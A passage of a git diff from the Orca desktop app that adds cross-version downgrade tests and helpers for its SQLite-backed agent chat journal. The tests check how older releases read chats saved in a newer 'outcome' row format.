}) - expect(JSON.stringify(read.transcript)).toContain('working on it') + const read = await call('orchestration.workerRead', { dispatch: dispatchId }) + + expect(read).toMatchObject({ source: 'transcript', status: { liveness: 'live' } }) + expect(JSON.stringify(read.transcript)).toContain('working on it') + } finally { + await server.stop() + } }) }) diff --git a/src/main/sqlite/sqlite-read-failure.ts b/src/main/sqlite/sqlite-read-failure.ts index f5c51f75312..ba6ef64334a 100644 --- a/src/main/sqlite/sqlite-read-failure.ts +++ b/src/main/sqlite/sqlite-read-failure.ts @@ -18,7 +18,7 @@ function primaryErrcode(error: unknown): number | null { return typeof errcode === 'number' && Number.isFinite(errcode) ? errcode & 0xff : null } -function isSqliteDriverError(error: unknown): boolean { +export function isSqliteDriverError(error: unknown): boolean { return error instanceof Error && 'code' in error && error.code === 'ERR_SQLITE_ERROR' } diff --git a/src/shared/agent-session-journal-open-union.ts b/src/shared/agent-session-journal-open-union.ts index 8d2e0e3b6ab..d6d00142284 100644 --- a/src/shared/agent-session-journal-open-union.ts +++ b/src/shared/agent-session-journal-open-union.ts @@ -18,6 +18,13 @@ export function knownTags(union: z.ZodDiscriminatedUnion): ReadonlySet { ) } +const fallbacks = new WeakSet() + +/** The arm that keeps an unknown tag; saved-outcome storage drops it, so an unknown tag refuses. */ +export function isJournalOpenUnionFallback(schema: z.core.$ZodType): boolean { + return fallbacks.has(schema) +} + /** Keep unknown nonblank tags as-is for readers to skip. Abort the catch-all for known malformed arms; blank tags are damage. */ export function openDiscriminatedUnion(known: T) { const key = known.def.discriminator @@ -25,5 +32,6 @@ export function openDiscriminatedUnion(known: const unknown = z .object({ [key]: z.string().regex(/\S/) }) .refine((value) => !tags.has(value[key] ?? ''), { abort: true }) + fallbacks.add(unknown) return z.union([known, unknown]) } diff --git a/src/shared/agent-session-journal-schemas.ts b/src/shared/agent-session-journal-schemas.ts index 5752081a18a..221ef28ac86 100644 --- a/src/shared/agent-session-journal-schemas.ts +++ b/src/shared/agent-session-journal-schemas.ts @@ -302,6 +302,14 @@ export function isAdmissibleAgentJournalItemBody(value: unknown): value is Agent return AgentJournalItemBodySchema.safeParse(value).success } +/** The wire's known arms, in order; saved-outcome storage declares them in full + * (journal-storage-schema.ts). */ +export const AgentJournalKnownSchemas = { + blocks: Block.options[0].options, + bodies: KnownItemBody.options, + resolution: Resolution +} + /** Submission rows may only carry a user-authored message body. */ export function isAdmissibleAgentJournalMessageBody( value: unknown diff --git a/src/shared/wsl-move/wsl-move-storage-dispositions.ts b/src/shared/wsl-move/wsl-move-storage-dispositions.ts index c07f2b06d9f..ee7e01843eb 100644 --- a/src/shared/wsl-move/wsl-move-storage-dispositions.ts +++ b/src/shared/wsl-move/wsl-move-storage-dispositions.ts @@ -117,6 +117,7 @@ export const SQLITE_SCHEMA_FILE_DATABASES: Record = { 'agent-session-journal', 'src/main/native-chat/agent-session-journal/command-receipt-schema.ts': 'agent-session-journal', 'src/main/native-chat/agent-session-journal/journal-database-schema.ts': 'agent-session-journal', + 'src/main/native-chat/agent-session-journal/journal-outcome-format.ts': 'agent-session-journal', 'src/main/native-chat/agent-session-journal/journal-pi-active-branch.ts': 'pi-branch-import', 'src/main/native-chat/agent-session-journal/queued-message-schema.ts': 'agent-session-journal', 'src/main/persistence/profile-state/profile-state-database-schema.ts': 'profile-state', @@ -160,6 +161,9 @@ export const SQLITE_TABLE_DISPOSITIONS: Record 'agent_session_attachment_claims', 'agent_session_attachment_sweeps', 'journal_imports', + 'journal_outcomes', + 'journal_outcome_epochs', + 'journal_outcome_generations', 'journal_repairs', 'journal_rows', 'journal_sessions', diff --git a/tests/e2e/cross-version-wire/agent-session-interrupted-tool-downgrade.unit.test.ts b/tests/e2e/cross-version-wire/agent-session-interrupted-tool-downgrade.unit.test.ts index ac2f88843ae..ff2fec58e5d 100644 --- a/tests/e2e/cross-version-wire/agent-session-interrupted-tool-downgrade.unit.test.ts +++ b/tests/e2e/cross-version-wire/agent-session-interrupted-tool-downgrade.unit.test.ts @@ -10,6 +10,7 @@ import { import type { AgentJournalItemIdentity } from '../../../src/shared/agent-session-journal-types' import { createTrackedJournalOpener } from '../../../src/main/native-chat/agent-session-journal/journal-host-database-test-support' import type { JournalRow } from '../../../src/main/native-chat/agent-session-journal/journal-row-schema' +import type { JournalReadRow } from '../../../src/main/native-chat/agent-session-journal/journal-read-row' import { importReleaseCheckoutModule, materializeReleaseCheckout, @@ -32,10 +33,19 @@ type OldRunOutcome = ( options: { activeTurnIsWorking?: boolean } ) => { failedCallCount: number; succeeded: boolean } +// Old builds fold input rows; an outcome row here means the probe opened a converted chat by mistake. +function inputRows(rows: readonly JournalReadRow[]): JournalRow[] { + return rows.map((row) => { + if (row.kind === 'outcome') { + throw new Error('expected input rows') + } + return row + }) +} // Loads a real old build, including cold extraction and transforms. test('an older host and client read a call a stop cut short as the failure they always showed', async () => { const directory = mkdtempSync(join(tmpdir(), 'orca-interrupted-tool-downgrade-')) - const journals = createTrackedJournalOpener() + const journals = createTrackedJournalOpener({ legacyInputs: true }) try { // This build: a call a stop cut short, with the partial output it left. const journal = await journals.open({ @@ -67,7 +77,7 @@ test('an older host and client read a call a stop cut short as the failure they if (!since.ok) { throw new Error(`expected rows, got reset ${since.reset}`) } - const rows: JournalRow[] = since.rows + const rows = inputRows(since.rows) const current = journal.snapshot().items expect(current.map((item) => item.body)).toMatchObject([ { state: 'failed', endedAs: 'interrupted' }, diff --git a/tests/e2e/cross-version-wire/agent-session-newer-chat-refusal.unit.test.ts b/tests/e2e/cross-version-wire/agent-session-newer-chat-refusal.unit.test.ts index 8ad4e3781a6..5322b956e7c 100644 --- a/tests/e2e/cross-version-wire/agent-session-newer-chat-refusal.unit.test.ts +++ b/tests/e2e/cross-version-wire/agent-session-newer-chat-refusal.unit.test.ts @@ -27,7 +27,7 @@ import { } from './release-checkout' // Newer journals must yield the newer-Orca refusal to old clients, never damage wording. -// Unknown bodies remain writable here; also probe the older host’s handling of those rows. +// Unknown bodies refuse as a newer Orca's here; also probe the older host’s handling of those rows. const SUITE_TIMEOUT_MS = 180_000 // The last release that does not know the newer-Orca reason: its words fall back to the code's. const BEFORE_NEWER_REASON_REF = 'v1.4.218' @@ -58,7 +58,7 @@ type NoticeEnglish = (parts: unknown[]) => string type IsFinal = (refusal: AgentSessionRefusalReference | undefined) => boolean let directory: string -const journals = createTrackedJournalOpener() +const journals = createTrackedJournalOpener({ legacyInputs: true }) beforeAll(() => { directory = mkdtempSync(join(tmpdir(), 'orca-newer-chat-xv-')) @@ -191,7 +191,7 @@ describe('a chat a newer Orca saved, across versions', () => { ['body kind', NEWER_BODY_KIND], ['plan subject kind', NEWER_NESTED_LITERAL] ])( - "this build keeps a newer build's %s and stays writable; a build before it deletes it", + "this build refuses a newer build's %s as a newer Orca's and keeps it; a build before it deletes it", async (_value, body) => { rmSync(directory, { recursive: true, force: true }) directory = mkdtempSync(join(tmpdir(), 'orca-newer-chat-xv-')) @@ -201,8 +201,9 @@ describe('a chat a newer Orca saved, across versions', () => { revision: 1, body }) - const reopened = await journals.open({ identity: IDENTITY, stateDirectory: directory }) - expect(reopened.snapshot().items).toHaveLength(3) + await expect( + journals.open({ identity: IDENTITY, stateDirectory: directory }) + ).rejects.toMatchObject(SAVED_BY_NEWER_ORCA) await journals.closeAll() expect(await storedRows()).toEqual(rows) diff --git a/tests/e2e/cross-version-wire/agent-session-outcome-chat-downgrade.unit.test.ts b/tests/e2e/cross-version-wire/agent-session-outcome-chat-downgrade.unit.test.ts new file mode 100644 index 00000000000..dfeaab76920 --- /dev/null +++ b/tests/e2e/cross-version-wire/agent-session-outcome-chat-downgrade.unit.test.ts @@ -0,0 +1,300 @@ +import { createHash } from 'node:crypto' +import { existsSync, mkdtempSync, readFileSync, rmSync } from 'node:fs' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { isDeepStrictEqual } from 'node:util' +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' +import { + AGENT_JOURNAL_THREAD_SCOPE, + type AgentSessionJournalIdentity, + type AgentSessionJournalProviderHandle +} from '../../../src/shared/agent-session-journal-types' +import { codexProviderHandle } from '../../../src/shared/agent-session-provider-handle-encoding' +import Database from '../../../src/main/sqlite/sync-database' +import { + closeTestJournalHostDatabase, + createTrackedJournalOpener, + liveTestJournalRows, + openTestJournalHostDatabase, + SAVED_BY_NEWER_ORCA +} from '../../../src/main/native-chat/agent-session-journal/journal-host-database-test-support' +import { journalOutcomeSource } from '../../../src/main/native-chat/agent-session-journal/journal-outcome-format' +import { restoreJournal } from '../../../src/main/native-chat/agent-session-journal/journal-open' +import type { JournalStoredRow } from '../../../src/main/native-chat/agent-session-journal/journal-row-table' +import type { AgentSessionJournal } from '../../../src/main/native-chat/agent-session-journal/journal-store' +import { + importReleaseCheckoutModule, + materializeReleaseCheckout, + releaseModuleExport, + resolveBaselineReleaseRef, + resolveRecentStableReleaseRefs +} from './release-checkout' + +// A chat this build has written, new or an existing one whose input rows an older build wrote, is +// refused by each of the two newest releases (the downgrade window) as a newer Orca's, which leaves +// every byte as it was; a build from before that reason opens it read-only, as it does any newer +// row, and changes no saved row (it only adds a table of its own). The existing chat's input rows +// stay byte for byte throughout, and this build reads the whole chat again afterwards. +const SUITE_TIMEOUT_MS = 180_000 +// A main build sharing this database and schema; the releases in the window are probed as well. +const WRITABLE_BASELINE_REF = '3727100cc9dbcea6201f8a3e506676a3c4b53b18' +const JOURNAL = 'src/main/native-chat/agent-session-journal' + +const IDENTITY: AgentSessionJournalIdentity = { + sessionId: 'session-outcome-chat', + workspaceId: 'ws-1', + hostId: 'host-1', + agent: 'codex', + providerHandle: codexProviderHandle('thread-1') +} +/** The identity as builds before the neutral provider handle took it. */ +const OLDER_HANDLE: AgentSessionJournalProviderHandle = { kind: 'codex', threadId: 'thread-1' } +const OLDER_IDENTITY = { ...IDENTITY, providerHandle: OLDER_HANDLE } + +type ReleasedJournal = { + snapshot: () => { items: unknown[] } + appendItem: (identity: unknown, body: unknown, options: unknown) => Promise +} +type ReleasedOpener = { + open: (options: { identity: unknown; stateDirectory: string }) => Promise + closeAll: () => Promise +} + +let directory: string +beforeEach(() => { + directory = mkdtempSync(join(tmpdir(), 'orca-outcome-chat-xv-')) +}) +afterEach(() => { + rmSync(directory, { recursive: true, force: true }) +}) + +const appendStatus = (journal: Pick, ordinal: number) => + journal.appendItem( + { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal }, + { kind: 'status', text: `item ${ordinal}` }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + +/** A chat this build writes: new, or existing with three input rows of items an older build wrote + * before this build's first write. Returns that prefix as stored. */ +async function savedChat(kind: 'new' | 'existing'): Promise { + let prefix: JournalStoredRow[] = [] + if (kind === 'existing') { + const older = createTrackedJournalOpener({ legacyInputs: true }) + const journal = await older.open({ identity: IDENTITY, stateDirectory: directory }) + for (let ordinal = 0; ordinal < 3; ordinal++) { + await appendStatus(journal, ordinal) + } + await older.closeAll() + prefix = liveTestJournalRows(openTestJournalHostDatabase(directory).db, IDENTITY.sessionId) + expect(prefix).toHaveLength(4) + } + const journals = createTrackedJournalOpener() + const journal = await journals.open({ identity: IDENTITY, stateDirectory: directory }) + for (let ordinal = 3; ordinal < 6; ordinal++) { + await appendStatus(journal, ordinal) + } + await journals.closeAll() + const database = openTestJournalHostDatabase(directory) + expect(journalOutcomeSource(database.db, IDENTITY.sessionId, journal.epoch)).toMatchObject({ + prefix: prefix.length + }) + const rows = liveTestJournalRows(database.db, IDENTITY.sessionId) + expect(rows.slice(0, prefix.length)).toEqual(prefix) + // One appended marker, after the prefix, where outcome records begin. + expect(rows.map((row) => row.seq)).toEqual([...prefix.map((row) => row.seq), prefix.length + 1]) + await closeTestJournalHostDatabase(directory) + return prefix +} + +/** The database file and its log, by content; SQLite's shared-memory index is not data. */ +function databaseBytes(): Record { + return Object.fromEntries( + ['agent-session-journal.db', 'agent-session-journal.db-wal'] + .filter((file) => existsSync(join(directory, file))) + .map((file) => [ + file, + createHash('sha256') + .update(readFileSync(join(directory, file))) + .digest('hex') + ]) + ) +} + +/** Every table's schema and rows, in a stable order. */ +function savedContent(): Map { + const db = new Database(join(directory, 'agent-session-journal.db'), { readonly: true }) + try { + const content = new Map() + for (const { name, sql } of db + .prepare("SELECT name, sql FROM sqlite_schema WHERE type = 'table' ORDER BY name") + .all()) { + content.set(String(name), { + sql, + rows: db.prepare(`SELECT * FROM "${String(name)}" ORDER BY rowid`).all() + }) + } + return content + } finally { + db.close() + } +} + +describe('a chat this build wrote, opened by a shipped build', () => { + it.each([ + ['new', 'the newest release'], + ['existing', 'the newest release'], + ['new', 'the release before it'], + ['existing', 'the release before it'], + ['new', 'the writable baseline'], + ['existing', 'the writable baseline'] + ] as const)( + 'keeps a %s chat from %s, leaving every byte as it was, and reads whole again after', + async (kind, build) => { + const prefix = await savedChat(kind) + const before = databaseBytes() + const saved = savedContent() + expect(before['agent-session-journal.db']).toBeDefined() + const inWindow = build !== 'the writable baseline' + const checkout = await materializeReleaseCheckout( + build === 'the newest release' + ? resolveBaselineReleaseRef() + : inWindow + ? resolveRecentStableReleaseRefs(2)[1]! + : WRITABLE_BASELINE_REF + ) + const support = await importReleaseCheckoutModule( + checkout, + `${JOURNAL}/journal-host-database-test-support.ts` + ) + const older = releaseModuleExport<() => ReleasedOpener>( + support, + 'createTrackedJournalOpener' + )() + const close = releaseModuleExport<(stateDirectory: string) => void>( + support, + 'closeTestJournalHostDatabase' + ) + try { + if (inWindow) { + const failure = await older.open({ identity: IDENTITY, stateDirectory: directory }).then( + () => null, + (error: unknown) => error + ) + expect(failure).toMatchObject(SAVED_BY_NEWER_ORCA) + } else { + const opened = await older.open({ identity: OLDER_IDENTITY, stateDirectory: directory }) + // It latches read-only at the marker, having read only the rows before it. + expect(opened.snapshot().items).toHaveLength(Math.max(prefix.length - 1, 0)) + await expect( + opened.appendItem( + { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal: 9 }, + { kind: 'status', text: 'from the older build' }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + ).rejects.toMatchObject({ code: 'journal_read_only' }) + } + } finally { + await older.closeAll() + close(directory) + } + if (inWindow) { + expect(databaseBytes()).toEqual(before) + } else { + const after = savedContent() + expect( + [...saved].filter(([name, content]) => !isDeepStrictEqual(after.get(name), content)) + ).toEqual([]) + } + // Upgraded again, this build reads the prefix and its records, the rows still as they were. + const database = openTestJournalHostDatabase(directory) + try { + const reopened = restoreJournal(database.db, IDENTITY.sessionId) + expect(reopened).toMatchObject({ newer: null, damage: null }) + expect(reopened?.state.items.size).toBe(kind === 'existing' ? 6 : 3) + const rows = liveTestJournalRows(database.db, IDENTITY.sessionId) + expect(rows.slice(0, prefix.length)).toEqual(prefix) + } finally { + await closeTestJournalHostDatabase(directory) + } + }, + SUITE_TIMEOUT_MS + ) +}) + +// Checks out and loads the newest release's own journal code, which takes well past the default. +it( + 'leaves an existing chat whose first write from this build failed as it was, so the newest release opens and writes it', + async () => { + const older = createTrackedJournalOpener({ legacyInputs: true }) + const seeded = await older.open({ identity: IDENTITY, stateDirectory: directory }) + for (let ordinal = 0; ordinal < 3; ordinal++) { + await appendStatus(seeded, ordinal) + } + await older.closeAll() + const prefix = liveTestJournalRows( + openTestJournalHostDatabase(directory).db, + IDENTITY.sessionId + ) + await closeTestJournalHostDatabase(directory) + + const journals = createTrackedJournalOpener() + const journal = await journals.open({ identity: IDENTITY, stateDirectory: directory }) + const database = openTestJournalHostDatabase(directory) + // The first write fails after its marker is in: at a record, then at COMMIT. + database.db.exec(`CREATE TEMP TRIGGER failure BEFORE INSERT ON main.journal_outcomes + BEGIN SELECT RAISE(ABORT, 'record failure'); END`) + await expect(appendStatus(journal, 3)).rejects.toThrow('record failure') + database.db.exec('DROP TRIGGER failure') + const exec = database.db.exec.bind(database.db) + const commit = vi.spyOn(database.db, 'exec').mockImplementation((sql) => { + if (sql === 'COMMIT') { + throw new Error('commit failure') + } + exec(sql) + }) + await expect(appendStatus(journal, 4)).rejects.toThrow('commit failure') + commit.mockRestore() + expect(journalOutcomeSource(database.db, IDENTITY.sessionId, journal.epoch)).toBeNull() + expect( + database.db.prepare('SELECT COUNT(*) AS n FROM journal_outcome_generations').get()?.n + ).toBe(0) + expect(liveTestJournalRows(database.db, IDENTITY.sessionId)).toEqual(prefix) + await journals.closeAll() + + const checkout = await materializeReleaseCheckout(resolveBaselineReleaseRef()) + const support = await importReleaseCheckoutModule( + checkout, + `${JOURNAL}/journal-host-database-test-support.ts` + ) + const release = releaseModuleExport<() => ReleasedOpener>( + support, + 'createTrackedJournalOpener' + )() + try { + const opened = await release.open({ identity: IDENTITY, stateDirectory: directory }) + expect(opened.snapshot().items).toHaveLength(3) + await opened.appendItem( + { provider: 'codex', threadId: 'thread-1', turnId: 'turn-1', ordinal: 9 }, + { kind: 'status', text: 'from the release' }, + { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + } finally { + await release.closeAll() + releaseModuleExport<(stateDirectory: string) => void>( + support, + 'closeTestJournalHostDatabase' + )(directory) + } + const reopened = openTestJournalHostDatabase(directory) + try { + expect(restoreJournal(reopened.db, IDENTITY.sessionId)?.state.items.size).toBe(4) + expect(liveTestJournalRows(reopened.db, IDENTITY.sessionId).slice(0, prefix.length)).toEqual( + prefix + ) + } finally { + await closeTestJournalHostDatabase(directory) + } + }, + SUITE_TIMEOUT_MS +) diff --git a/tests/e2e/cross-version-wire/agent-session-stop-event-downgrade.unit.test.ts b/tests/e2e/cross-version-wire/agent-session-stop-event-downgrade.unit.test.ts index f3a677c6cdc..4f5cb4f7c58 100644 --- a/tests/e2e/cross-version-wire/agent-session-stop-event-downgrade.unit.test.ts +++ b/tests/e2e/cross-version-wire/agent-session-stop-event-downgrade.unit.test.ts @@ -21,6 +21,7 @@ import { SAVED_BY_NEWER_ORCA } from '../../../src/main/native-chat/agent-session-journal/journal-host-database-test-support' import type { JournalRow } from '../../../src/main/native-chat/agent-session-journal/journal-row-schema' +import type { JournalReadRow } from '../../../src/main/native-chat/agent-session-journal/journal-read-row' import { importReleaseCheckoutModule, materializeReleaseCheckout, @@ -59,11 +60,20 @@ const OLDER_IDENTITY: OlderJournalIdentity = { providerHandle: { kind: 'codex', threadId: 'thread-1' } } +// Old builds fold input rows; an outcome row here means the probe opened a converted chat by mistake. +function inputRows(rows: readonly JournalReadRow[]): JournalRow[] { + return rows.map((row) => { + if (row.kind === 'outcome') { + throw new Error('expected input rows') + } + return row + }) +} test.each(['v1.4.219', 'v1.4.220', WRITABLE_BASELINE_REF])( '%s replays current raw rows with the unconfirmed failure intact', async (ref) => { const directory = mkdtempSync(join(tmpdir(), 'orca-stop-note-raw-skew-')) - const journals = createTrackedJournalOpener() + const journals = createTrackedJournalOpener({ legacyInputs: true }) try { const journal = await journals.open({ identity: IDENTITY, stateDirectory: directory }) const turn = { provider: 'orca', clientMessageId: 'turn-raw-skew' } as const @@ -103,10 +113,10 @@ test.each(['v1.4.219', 'v1.4.220', WRITABLE_BASELINE_REF])( 'applyJournalRow' ) const old = create(IDENTITY.sessionId, journal.epoch) - since.rows.forEach((row) => fold(old, row)) + inputRows(since.rows).forEach((row) => fold(old, row)) expect(old.items.get(agentJournalItemKey(note))).toMatchObject({ body: unconfirmed }) const current = createJournalReducerState(IDENTITY.sessionId, journal.epoch) - since.rows.forEach((row) => applyJournalRow(current, row)) + inputRows(since.rows).forEach((row) => applyJournalRow(current, row)) expect(current.items.get(agentJournalItemKey(note))?.body).toEqual(unconfirmed) expect( renderJournalState(current).items.find((item) => item.itemId === agentJournalItemKey(note)) @@ -137,7 +147,7 @@ type OldReplay = { // Both downgrade probes load real old builds, including cold extraction and transforms. test("an older build keeps every row around a Stop's event, a Resume and a reopen mark, and folds the rows after them", async () => { const directory = mkdtempSync(join(tmpdir(), 'orca-stop-event-downgrade-')) - const journals = createTrackedJournalOpener() + const journals = createTrackedJournalOpener({ legacyInputs: true }) try { // This build: history, a person's Stop, a Resume, then more history. const journal = await journals.open({ identity: IDENTITY, stateDirectory: directory }) @@ -253,7 +263,7 @@ function storedRows(directory: string): string[] { test("an older build opens this build's journal writable and appends to it; the pause survives the round trip", async () => { const directory = mkdtempSync(join(tmpdir(), 'orca-stop-event-writable-downgrade-')) - const journals = createTrackedJournalOpener() + const journals = createTrackedJournalOpener({ legacyInputs: true }) const itemIds = (journal: Pick) => journal.snapshot().items.map((entry) => entry.itemId) try { @@ -301,7 +311,7 @@ test("an older build opens this build's journal writable and appends to it; the // Move the pinned baseline once a released reader preserves them. test("this build keeps a newer build's row kind and refuses the load; a build before it deletes it", async () => { const directory = mkdtempSync(join(tmpdir(), 'orca-newer-kind-downgrade-')) - const journals = createTrackedJournalOpener() + const journals = createTrackedJournalOpener({ legacyInputs: true }) const newerKinds = () => storedRows(directory).filter((row) => row.includes('"future-mark"')) try { const scope = { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } diff --git a/tests/e2e/cross-version-wire/cross-version-stop-note-scenarios.ts b/tests/e2e/cross-version-wire/cross-version-stop-note-scenarios.ts index d99b91336c2..b6886719eb7 100644 --- a/tests/e2e/cross-version-wire/cross-version-stop-note-scenarios.ts +++ b/tests/e2e/cross-version-wire/cross-version-stop-note-scenarios.ts @@ -68,10 +68,11 @@ export function describeReleasedStopNoteProjection(port: ScenarioPort): void { const after = reduce(before, replies) expect(render(after)).toEqual({ type: 'text', text: ordinary.text }) expect(rig.journal.itemBody(noteId)).toEqual(unconfirmed) + // The turn end is one saved sequence that touches only the turn, whichever writer made it. const since = rig.journal.readSince(before.cursor!) expect(since).toMatchObject({ ok: true, - rows: [expect.objectContaining({ kind: batch ? 'lifecycle-batch' : 'item' })] + rows: [expect.objectContaining({ kind: 'outcome', itemIds: [turnItemId] })] }) } ) diff --git a/tests/e2e/cross-version-wire/kept-card-downgrade.unit.test.ts b/tests/e2e/cross-version-wire/kept-card-downgrade.unit.test.ts index 56f88602e2c..8bf07d39196 100644 --- a/tests/e2e/cross-version-wire/kept-card-downgrade.unit.test.ts +++ b/tests/e2e/cross-version-wire/kept-card-downgrade.unit.test.ts @@ -94,7 +94,8 @@ async function acceptPersonSend( test("an older build reads the send this build's quit left queued, its source included, and settles it", async () => { const directory = mkdtempSync(join(tmpdir(), 'orca-kept-leftover-downgrade-')) - const journals = createTrackedJournalOpener() + // A chat this build has not converted keeps input rows, so an older build can still read it. + const journals = createTrackedJournalOpener({ legacyInputs: true }) try { const quitting = await journals.open({ identity: IDENTITY, stateDirectory: directory }) await acceptPersonSend(quitting, 'left-queued') diff --git a/tests/e2e/cross-version-wire/release-checkout.ts b/tests/e2e/cross-version-wire/release-checkout.ts index f541ae5735d..759c68d96e9 100644 --- a/tests/e2e/cross-version-wire/release-checkout.ts +++ b/tests/e2e/cross-version-wire/release-checkout.ts @@ -74,6 +74,24 @@ export function resolveBaselineReleaseRef(): string { return latest } +/** The newest `count` stable desktop releases, newest first: the ones a downgrade can reach. */ +export function resolveRecentStableReleaseRefs(count: number): string[] { + let tags = git(['tag', '--list', 'v[0-9]*']).split('\n').filter(Boolean) + const recent: string[] = [] + while (recent.length < count) { + const latest = selectLatestStableReleaseTag(tags) + if (!latest) { + throw new Error( + `Cross-version harness found ${recent.length} of ${count} stable desktop release tags; ` + + 'a shallow CI clone needs `fetch-depth: 0`.' + ) + } + recent.push(latest) + tags = tags.filter((tag) => tag !== latest) + } + return recent +} + function resolveCommit(ref: string): string { try { return git(['rev-parse', `${ref}^{commit}`]) diff --git a/tests/e2e/cross-version-wire/released-chat-continuation.ts b/tests/e2e/cross-version-wire/released-chat-continuation.ts new file mode 100644 index 00000000000..561223ce309 --- /dev/null +++ b/tests/e2e/cross-version-wire/released-chat-continuation.ts @@ -0,0 +1,94 @@ +import { agentJournalLinkageFields } from '../../../src/shared/agent-session-journal-producer' +import { parseAgentJournalItemKey } from '../../../src/shared/agent-session-journal-item-key' +import type { AgentJournalMessageItem } from '../../../src/shared/agent-session-journal-types' +import type { JournalReplacementItem } from '../../../src/main/native-chat/agent-session-journal/journal-epoch-replacement' +import type { AgentSessionJournal } from '../../../src/main/native-chat/agent-session-journal/journal-store' + +// What a user does next with a chat a released build wrote: edit a card it queued (the first write, +// over a key the old rows hold), send, and rewind to before that send, which saves every kept message +// and card again. This build and a shipped build run the same steps. + +const FENCE = 1 + +export type ContinuedJournal = Pick< + AgentSessionJournal, + | 'queuedMessages' + | 'appendSubmission' + | 'resolveDispatch' + | 'replaceEpochItems' + | 'snapshot' + | 'itemBody' + | 'itemProvenance' +> + +const message = (text: string): AgentJournalMessageItem => ({ + kind: 'message', + role: 'user', + blocks: [{ type: 'text', text }] +}) + +/** The first write: an edit of a card the release queued and still holds. */ +export async function editReleasedCard(journal: ContinuedJournal): Promise { + const card = journal.queuedMessages.list().find((entry) => entry.messageId === 'card-2') + if (!card) { + throw new Error('the release queued no card-2') + } + const edited = await journal.queuedMessages.update({ + messageId: 'card-2', + expectedBodyFingerprint: card.fingerprint, + text: 'second, edited after the upgrade' + }) + if (edited.status !== 'updated') { + throw new Error(`the card edit was ${edited.status}`) + } +} + +export async function sendAfterUpgrade(journal: ContinuedJournal): Promise { + await journal.appendSubmission({ + clientMessageId: 'after-upgrade', + payloadFingerprint: 'fp-after-upgrade', + body: message('after the upgrade'), + fence: FENCE, + handoverRecorded: true, + origin: 'client', + source: { kind: 'user' } + }) + await journal.resolveDispatch({ + clientMessageId: 'after-upgrade', + fence: FENCE, + state: 'accepted', + providerIdentity: null + }) +} + +/** A rewind to before the send: every message the release wrote is kept, as rewind keeps them. */ +export async function rewindReleasedChat( + journal: ContinuedJournal, + keptItemIds: ReadonlySet +): Promise { + const kept = journal + .snapshot() + .items.filter((item) => keptItemIds.has(item.itemId)) + .map(({ itemId, observedAt, turnScope, ...linkage }): JournalReplacementItem => { + const body = journal.itemBody(itemId) + const identity = parseAgentJournalItemKey(itemId) + if (!body || !identity) { + throw new Error(`no kept item ${itemId}`) + } + const { ownerFence, executionOwner, ...echo } = journal.itemProvenance(itemId) + return { + identity, + ...echo, + body, + observedAt, + ...(turnScope ? { turnScope } : {}), + ownerFence: ownerFence ?? 0, + ...(executionOwner === undefined ? {} : { executionOwner }), + ...agentJournalLinkageFields(linkage) + } + }) + if (kept.length !== keptItemIds.size) { + throw new Error('a kept item is missing from the chat') + } + await journal.replaceEpochItems('handle_forked', FENCE, kept) +} diff --git a/tests/e2e/cross-version-wire/released-chat-queue.ts b/tests/e2e/cross-version-wire/released-chat-queue.ts new file mode 100644 index 00000000000..5cc8491b26a --- /dev/null +++ b/tests/e2e/cross-version-wire/released-chat-queue.ts @@ -0,0 +1,57 @@ +import type { AgentJournalMessageItem } from '../../../src/shared/agent-session-journal-types' +import { QUEUED_MESSAGE_PAUSED_SEND_FAILED } from '../../../src/shared/agent-session-queued-message-wire' +import type { AgentSessionJournal } from '../../../src/main/native-chat/agent-session-journal/journal-store' + +// Queue edits as each release's queue writes them: two cards, an edit, a move, a hold and a +// withdrawal. Releases before cards moved into the chat's rows kept them in a table of their own, +// with no edit or move. + +type TableQueue = { + insert: (input: { + messageId: string + body: AgentJournalMessageItem + fingerprint: string + hostInstance: string + }) => Promise + hold: (input: { messageIds: readonly string[]; reason: 'send_failed' }) => Promise + withdraw: (input: { messageIds: readonly string[]; settledByOp: string }) => Promise +} + +/** A table-backed queue answers an operation's replay from its stored rows. */ +function isTableQueue(queue: unknown): queue is TableQueue { + return typeof queue === 'object' && queue !== null && 'receipts' in queue +} + +const message = (text: string): AgentJournalMessageItem => ({ + kind: 'message', + role: 'user', + blocks: [{ type: 'text', text }] +}) + +export async function queueReleasedCards( + queue: AgentSessionJournal['queuedMessages'] +): Promise { + const table: unknown = queue + if (isTableQueue(table)) { + const card = { fingerprint: 'fp-card', hostInstance: 'host-instance-1' } + await table.insert({ ...card, messageId: 'card-1', body: message('later') }) + await table.insert({ ...card, messageId: 'card-2', body: message('second') }) + await table.hold({ messageIds: ['card-2'], reason: QUEUED_MESSAGE_PAUSED_SEND_FAILED }) + await table.withdraw({ messageIds: ['card-1'], settledByOp: 'withdraw-card-1' }) + return + } + const first = await queue.insert({ + messageId: 'card-1', + body: message('later'), + options: { model: 'model-1' } + }) + await queue.insert({ messageId: 'card-2', body: message('second') }) + await queue.update({ + messageId: 'card-1', + expectedBodyFingerprint: first.fingerprint, + text: 'later, edited' + }) + await queue.move({ messageId: 'card-2', beforeMessageId: 'card-1' }) + await queue.hold({ messageIds: ['card-2'], reason: QUEUED_MESSAGE_PAUSED_SEND_FAILED }) + await queue.withdraw(['card-1']) +} diff --git a/tests/e2e/cross-version-wire/released-chat-upgrade.unit.test.ts b/tests/e2e/cross-version-wire/released-chat-upgrade.unit.test.ts new file mode 100644 index 00000000000..be6ba97f883 --- /dev/null +++ b/tests/e2e/cross-version-wire/released-chat-upgrade.unit.test.ts @@ -0,0 +1,211 @@ +import { cpSync, mkdtempSync, rmSync } from 'node:fs' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, describe, expect, it } from 'vitest' +import { + closeTestJournalHostDatabase, + createTrackedJournalOpener, + liveTestJournalRows, + openTestJournalHostDatabase, + type TrackedJournalOpener +} from '../../../src/main/native-chat/agent-session-journal/journal-host-database-test-support' +import { restoreJournal } from '../../../src/main/native-chat/agent-session-journal/journal-open' +import { JOURNAL_PREFIX_ORDINAL } from '../../../src/main/native-chat/agent-session-journal/journal-outcome-codec' +import { journalOutcomeSource } from '../../../src/main/native-chat/agent-session-journal/journal-outcome-format' +import type { AgentJournalSnapshot } from 